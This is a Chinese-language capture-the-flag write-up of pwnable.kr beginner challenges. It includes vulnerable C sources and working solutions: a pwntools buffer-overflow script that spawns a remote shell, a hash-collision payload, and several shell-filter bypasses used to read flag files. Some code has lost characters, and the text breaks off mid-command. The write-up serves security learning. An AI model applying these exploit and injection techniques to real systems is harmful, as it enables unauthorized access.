fd - 1 pt
代码语言:javascript复制Mommy! what is a file descriptor in Linux?
* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw
ssh fd@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制➜ Tools ssh fd@pwnable.kr -p2222
The authenticity of host '[pwnable.kr]:2222 ([128.61.240.205]:2222)' can't be established.
ECDSA key fingerprint is SHA256:I9nWMZvctQv4Vypnh9ICs6aB2g20WV/EjTIYJ83P0K8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[pwnable.kr]:2222,[128.61.240.205]:2222' (ECDSA) to the list of known hosts.
fd@pwnable.kr's password:
____ __ __ ____ ____ ____ _ ___ __ _ ____
| | |__| || / || | | / _] | |/ ]|
| o ) | | || _ || o || o )| | / [_ | ' / | D )
| _/| | | || | || || || |___ | _] | | /
| | | ` ' || | || _ || O || || [_ __ | |
| | / | | || | || || || || || . || .
|__| _/_/ |__|__||__|__||_____||_____||_____||__||__|_||__|_|
- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
You have new mail.
Last login: Fri Oct 9 06:05:28 2020 from 222.206.18.226
fd@pwnable:~$ ls -al
total 40
drwxr-x--- 5 root fd 4096 Oct 26 2016 .
drwxr-xr-x 116 root root 4096 Apr 17 14:10 ..
d--------- 2 root root 4096 Jun 12 2014 .bash_history
-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag
-rw------- 1 root root 128 Oct 26 2016 .gdb_history
dr-xr-xr-x 2 root root 4096 Dec 19 2016 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
fd@pwnable:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a numbern");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWINn", buf)){
printf("good job :)n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IOn");
return 0;
}
代码语言:javascript复制fd@pwnable:~$ echo LETMEWIN | ./fd 4660
good job :)
mommy! I think I know what a file descriptor is!!
collision - 3 pt
代码语言:javascript复制Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!
ssh col@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char *p) {
int *ip = (int *) p;
int res = 0;
for (int i = 0; i < 5; i ) {
res = ip[i];
}
return res;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("usage : %s [passcode]n", argv[0]);
return 0;
}
if (strlen(argv[1]) != 20) {
printf("passcode length should be 20 bytesn");
return 0;
}
if (hashcode == check_password(argv[1])) {
system("/bin/cat flag");
return 0;
} else
printf("wrong passcode.n");
return 0;
}
注意的点:
char 转 int,拿到的是 ASCII
代码语言:javascript复制转义为short型整数: struct.unpack('<hh', bytes(b'x01x00x00x00')) ==> (1, 0)
转义为long型整数: struct.unpack('<L', bytes(b'x01x00x00x00')) ==> (1,)
小端,需要转一下
代码语言:javascript复制>>> from pwn import *
>>> p32(0x21DD09EC - u32('x01x01x01x01')*4)
b'xe8x05xd9x1d'
col@pwnable:~$ ./col `python -c "print 'x01' * 16 'xe8x05xd9x1d'"`
daddy! I just managed to create a hash collision :)
bof - 5 pt
代码语言:javascript复制Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
代码语言:javascript复制#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key) {
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if (key == 0xcafebabe) {
system("/bin/sh");
} else {
printf("Nah..n");
}
}
int main(int argc, char *argv[]) {
func(0xdeadbeef);
return 0;
}
目标:覆盖 key 的值为 0xcafebabe。找一下 overflowme
到 key
的偏移量就好了。
.text:0000062C s = byte ptr -2Ch
.text:0000062C var_C = dword ptr -0Ch
.text:0000062C arg_0 = dword ptr 8
.text:0000062C
.text:0000062C ; __unwind {
.text:0000062C push ebp
.text:0000062D mov ebp, esp
.text:0000062F sub esp, 48h
.text:00000632 mov eax, large gs:14h
.text:00000638 mov [ebp var_C], eax
.text:0000063B xor eax, eax
.text:0000063D mov dword ptr [esp], offset s ; "overflow me : "
.text:00000644 call puts
.text:00000649 lea eax, [ebp s]
.text:0000064C mov [esp], eax ; s
.text:0000064F call gets
.text:00000654 cmp [ebp arg_0], 0CAFEBABEh
.text:0000065B jnz short loc_66B
.text:0000065D mov dword ptr [esp], offset command ; "/bin/sh"
.text:00000664 call system
.text:00000669 jmp short loc_677
.text:0000066B ; ------------------------------------------------------------------------
关键的比较逻辑:cmp [ebp 8], 0CAFEBABEh
。gets 这里也是用的相对 ebp 的地址,这就简单了。
传参给 gets 是用的 eax,这有条 lea eax, [ebp s]
的指令,所以 overflowme 数组的起始地址是 ebp s
。
而 s 是 -2Ch
,所以这里的地址差就是 0x2c 8
,即 52。
from pwn import *
target = remote('pwnable.kr', 9000)
payload = b"A" * 52 p32(0xcafebabe)
target.sendline(payload)
#Drop to an interactive shell, so we can read everything the server prints out
target.interactive()
Python3 的 byte 不能直接和 str 拼接了,需要转一下。
flag - 7 pt
代码语言:javascript复制Papa brought me a packed present! let's open it.
Download : http://pwnable.kr/bin/flag
This is reversing task. all you need is binary
IDA 打开,发现只有一个 start 和另外两个函数,可能有壳,upx -d。
代码语言:javascript复制ELF 的也可以用 exeinfo 查看一下。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // [rsp 8h] [rbp-8h]
puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}
跟进 flag 定义,就能看到 flag 了。
passcode - 10 pt
代码语言:javascript复制Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制#include <stdio.h>
#include <stdlib.h>
void login() {
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...n");
if (passcode1 == 338150 && passcode2 == 13371337) {
printf("Login OK!n");
system("/bin/cat flag");
} else {
printf("Login Failed!n");
exit(0);
}
}
void welcome() {
char name[100];
printf("enter you name : ");
scanf("0s", name);
printf("Welcome %s!n", name);
}
int main() {
printf("Toddler's Secure Login System 1.0 beta.n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)n");
return 0;
}
代码语言:javascript复制scanf("0s", name);
这里的 100s 是限制输入长度不能超过 100,超过就 Segmentation fault (core dumped)
。
passcode@pwnable:~$ checksec passcode
[*] '/home/passcode/passcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
这个题有点意思,考的是 GOT 表劫持。
random - 1 pt
代码语言:javascript复制Daddy, teach me how to use random value in programming!
ssh random@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制#include <stdio.h>
int main() {
unsigned int random;
random = rand(); // random value!
unsigned int key = 0;
scanf("%d", &key);
if ((key ^ random) == 0xdeadbeef) {
printf("Good!n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.n");
return 0;
}
未指定 srand 播种,则每次都是默认种子,所以每次运行得到的随机数是固定的。
代码语言:javascript复制#include "stdio.h"
#include "stdlib.h"
int main() {
for (int i = 0; i < 5; i ) {
printf("%d ", rand());
}
return 0;
}
// 1804289383 846930886 1681692777 1714636915 1957747793
代码语言:javascript复制pwndbg> p random
$1 = 1804289383
>>> 1804289383 ^ 0xdeadbeef
3039230856
input - 4 pt
代码语言:javascript复制Mom? how can I pass my input to a computer program?
ssh input2@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char *argv[], char *envp[]) {
printf("Welcome to pwnable.krn");
printf("Let's see if you know how to give input to programn");
printf("Just give me correct inputs then you will get the flag :)n");
// argv
if (argc != 100) return 0;
if (strcmp(argv['A'], "x00")) return 0;
if (strcmp(argv['B'], "x20x0ax0d")) return 0;
printf("Stage 1 clear!n");
// stdio
char buf[4];
read(0, buf, 4);
if (memcmp(buf, "x00x0ax00xff", 4)) return 0;
read(2, buf, 4);
if (memcmp(buf, "x00x0ax02xff", 4)) return 0;
printf("Stage 2 clear!n");
// env
if (strcmp("xcaxfexbaxbe", getenv("xdexadxbexef"))) return 0;
printf("Stage 3 clear!n");
// file
FILE *fp = fopen("x0a", "r");
if (!fp) return 0;
if (fread(buf, 4, 1, fp) != 1) return 0;
if (memcmp(buf, "x00x00x00x00", 4)) return 0;
fclose(fp);
printf("Stage 4 clear!n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if (sd == -1) {
printf("socket error, tell adminn");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons(atoi(argv['C']));
if (bind(sd, (struct sockaddr *) &saddr, sizeof(saddr)) < 0) {
printf("bind error, use another portn");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *) &caddr, (socklen_t * ) & c);
if (cd < 0) {
printf("accept error, tell adminn");
return 0;
}
if (recv(cd, buf, 4, 0) != 4) return 0;
if (memcmp(buf, "xdexadxbexef", 4)) return 0;
printf("Stage 5 clear!n");
// here's your flag
system("/bin/cat flag");
return 0;
}
leg - 2 pt
代码语言:javascript复制Daddy told me I should study arm.
But I prefer to study my leg!
Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm
ssh leg@pwnable.kr -p2222 (pw:guest)
mistake - 1 pt
代码语言:javascript复制We all make mistakes, let's move on.
(don't take this too seriously, no fancy hacking skill is required at all)
This task is based on real event
Thanks to dhmonkey
hint : operator priority
ssh mistake@pwnable.kr -p2222 (pw:guest)
shellshock - 1 pt
代码语言:javascript复制Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)
ssh shellshock@pwnable.kr -p2222 (pw:guest)
coin1 - 6 pt
代码语言:javascript复制Mommy, I wanna play a game!
(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)
Running at : nc pwnable.kr 9007
blackjack - 1 pt
代码语言:javascript复制Hey! check out this C implementation of blackjack game!
I found it online
* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html
I like to give my flags to millionares.
how much money you got?
Running at : nc pwnable.kr 9009
lotto - 2 pt
代码语言:javascript复制Mommy! I made a lotto program for my homework.
do you want to play?
ssh lotto@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
unsigned char submit[6];
void play() {
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r = read(0, submit, 6);
printf("Lotto Start!n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if (fd == -1) {
printf("error. tell adminn");
exit(-1);
}
unsigned char lotto[6];
if (read(fd, lotto, 6) != 6) {
printf("error2. tell adminn");
exit(-1);
}
for (int i = 0; i < 6; i ) {
lotto[i] = (lotto[i] % 45) 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for (int i = 0; i < 6; i ) {
for (j = 0; j < 6; j ) {
if (lotto[i] == submit[j]) {
match ;
}
}
}
// win!
if (match == 6) {
system("/bin/cat flag");
} else {
printf("bad luck...n");
}
}
void help() {
printf("- nLotto Rule -n");
printf("nlotto is consisted with 6 random natural numbers less than 46n");
printf("your goal is to match lotto numbers as many as you cann");
printf("if you win lottery for *1st place*, you will get rewardn");
printf("for more details, follow the link belown");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01nn");
printf("mathematical chance to win this game is known to be 1/8145060.n");
}
int main(int argc, char *argv[]) {
// menu
unsigned int menu;
while (1) {
printf("- Select Menu -n");
printf("1. Play Lotton");
printf("2. Helpn");
printf("3. Exitn");
scanf("%d", &menu);
switch (menu) {
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("byen");
return 0;
default:
printf("invalid menun");
break;
}
}
return 0;
}
cmd1 - 1 pt
代码语言:javascript复制Mommy! what is PATH environment in Linux?
ssh cmd1@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制#include <stdio.h>
#include <string.h>
int filter(char *cmd) {
int r = 0;
r = strstr(cmd, "flag") != 0;
r = strstr(cmd, "sh") != 0;
r = strstr(cmd, "tmp") != 0;
return r;
}
int main(int argc, char *argv[], char **envp) {
putenv("PATH=/thankyouverymuch");
if (filter(argv[1])) return 0;
system(argv[1]);
return 0;
}
有简单过滤的命令执行 :)
代码语言:javascript复制cmd1@pwnable:~$ ./cmd1 '/bin/cat fl""ag'
mommy now I get what PATH environment is for :)
cmd2 - 9 pt
代码语言:javascript复制Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!
ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)
代码语言:javascript复制#include <stdio.h>
#include <string.h>
int filter(char *cmd) {
int r = 0;
r = strstr(cmd, "=") != 0;
r = strstr(cmd, "PATH") != 0;
r = strstr(cmd, "export") != 0;
r = strstr(cmd, "/") != 0;
r = strstr(cmd, "`") != 0;
r = strstr(cmd, "flag") != 0;
return r;
}
extern char **environ;
void delete_env() {
char **p;
for (p = environ; *p; p ) memset(*p, 0, strlen(*p));
}
int main(int argc, char *argv[], char **envp) {
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if (filter(argv[1])) return 0;
printf("%sn", argv[1]);
system(argv[1]);
return 0;
}
有意思的点在于,在 /
没了的情况下绕 PATH
。
这有个小知识点,Bash、sh 的 built-in 命令。
http://manpages.ubuntu.com/manpages/xenial/man7/bash-builtins.7.html
下面的解法全是围绕这些 built-in 展开 :)
代码语言:javascript复制command [-pVv] command [arg ...]
Run command with args suppressing the normal shell function lookup. Only builtin
commands or commands found in the PATH are executed. If the -p option is given,
the search for command is performed using a default value for PATH that is
guaranteed to find all of the standard utilities. If either the -V or -v option is
supplied, a description of command is printed. The -v option causes a single word
indicating the command or filename used to invoke command to be displayed; the -V
option produces a more verbose description. If the -V or -v option is supplied,
the exit status is 0 if command was found, and 1 if not. If neither option is
supplied and an error occurred or command cannot be found, the exit status is 127.
Otherwise, the exit status of the command builtin is the exit status of command.
代码语言:javascript复制cmd2@pwnable:~$ ./cmd2 'command -p cat fla*'
command -p cat fla*g
FuN_w1th_5h3ll_v4riabl3s_haha
cmd2@pwnable:~$ ./cmd2 'read b < f""lag; echo $b'
read b < f""lag; echo $b
FuN_w1th_5h3ll_v4riabl3s_haha
cmd2@pwnable:~$ ./cmd2 'set -s'
set -s
/bin/ls
cmd2 cmd2.c flag
/bin/cat flag
FuN_w1th_5h3ll_v4riabl3s_haha
代码语言:javascript复制cd / && /home/cmd2/cmd2 '$(pwd)"bin"$(pwd)cat $(pwd)"home"$(pwd)"cmd2"$(pwd)"fl""ag"'
# 八进制
./cmd2 '$(printf \057bin\057cat) fl""ag'
./cmd2 '$(echo "